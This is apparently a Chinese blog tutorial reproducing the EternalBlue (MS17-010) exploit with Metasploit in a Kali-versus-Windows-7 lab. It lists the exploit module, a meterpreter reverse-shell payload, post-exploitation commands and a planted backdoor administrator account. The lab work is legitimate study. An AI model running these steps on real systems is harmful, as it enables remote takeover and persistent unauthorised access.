永恒之蓝漏洞复现

Metasploit

参考:https://zhuanlan.zhihu.com/p/62429064
https://blog.csdn.net/weixin_45588247/article/details/119614618

介绍

Metasploit 是目前世界上领先的渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一。
Metasploit 提供两种不同的 UI,msfconsole 和 WebUI,主要使用 msfconsole 接口。因为 msfconsole 对 Metasploit 支持最好,可以使用所有功能。

  • Metasploit Framework:
    这是一个免费的、开源的渗透测试框架,当前稳定版本是使用 Ruby 语言编写的。它拥有世界上最大的渗透测试攻击数据库,每年超过 100 万次的下载。它也是迄今为止使用 Ruby 构建的最复杂的项目之一。
  • Vulnerability:
    漏洞
  • Exploit:
    攻击代码或程序,它允许攻击者利用易受攻击的系统并危害其安全性。每个漏洞都有对应的漏洞利用程序。Metasploit 有超过 1700 个漏洞利用程序。
  • Payload:
    攻击载荷。
  • Module:
    模块是一个完整的构件,每个模块执行特定的任务,并通过几个模块组成一个单元运行。这种架构的好处是可以很容易的将自己写的利用程序和工具集成到框架中。

使用

  • 启动 msfconsole
    设置 PostgreSQL 数据库,它将创建数据库用户,创建 msf 和 msf_test 数据库,配置 Metasploit 使用数据库
  1. service postgresql start
  2. msfdb init
  3. msfconsole
  • 管理 Metasploit Framework 数据库
  1. msfdb
  • 修改数据库配置文件
  1. 直接编辑 database.yml
    文件位于 /usr/share/metasploit-framework/config/database.yml
  • 检查数据库连接情况
  1. 启动 msfconsole,然后执行 db_status
  2. db_disconnect ,断开连接
  • 基本使用
1
2
3
4
5
6
7
8
9
msfconsole										    #进入框架
search ms17_010 # 使用search命令查找相关漏洞
use exploit/windows/smb/ms17_010_eternalblue # 使用use进入模块
info #使用info查看模块信息
set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷
show options #查看模块需要配置的参数
set RHOST 192.168.100.158 #设置参数
exploit / run #攻击
后渗透阶段 #后渗透阶段

永恒之蓝漏洞复现

参考:https://www.cnblogs.com/xy586/p/13537136.html
https://blog.csdn.net/wwl012345/article/details/89421881

  • 漏洞了解
    永恒之蓝(Eternal Blue)爆发于 2017 年 4 月 14 日晚,是一种利用 Windows 系统的 SMB 协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于 2017 年 5 月 12 日, 不法分子通过改造 “永恒之蓝” 制作了 wannacry 勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。

漏洞复现

  • 把 win7 防火墙关闭,kali ping win7

  • 启动 msf
    msfconsole
  • 查看数据库连接情况
    db_status
    postgresql connected to msf 说明已经成功连接到了 msf
  • 搜索 ms17_010
    search ms17_010
  • 扫描命令
    use auxiliary/scanner/smb/smb_ms17_010
    可以使用 show options 查看可使用参数

    由此发现扫描靶机确实存在永恒之蓝漏洞
  • 进行攻击
    use exploit/windows/smb/ms17_010_eternalblue
  1. 设置攻击目标(靶机):set rhost 192.168.21.133
  2. 设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
  3. 设置监听主机(kali):set lhost 192.168.21.132
  4. 利用 exploit 进行攻击:exploit
  • 持续攻击
  1. 显示远程主机系统信息:sysinfo
  2. 查看用户身份:getuid
  3. 对远程主机当前屏幕进行截图:screenshot

  4. 获得 shell 控制台:shell

    显示转到 C:\Windows\system32 目录下,说明已经获得了 shell 的控制权
  • 种植后门
  1. 在 windows 7 上创建一个 hack 的用户,以便下次访问
    net user hack 123456 /add
  2. 将 hack 加入到 windows 7 的本地管理员组中,以便获得更大权限
    net localgroup administrators hack /add
  3. 查看 windows 7 本地用户
    net user
  4. 查看 windows 7 本地管理员
    net localgroup administrators
访问量 访客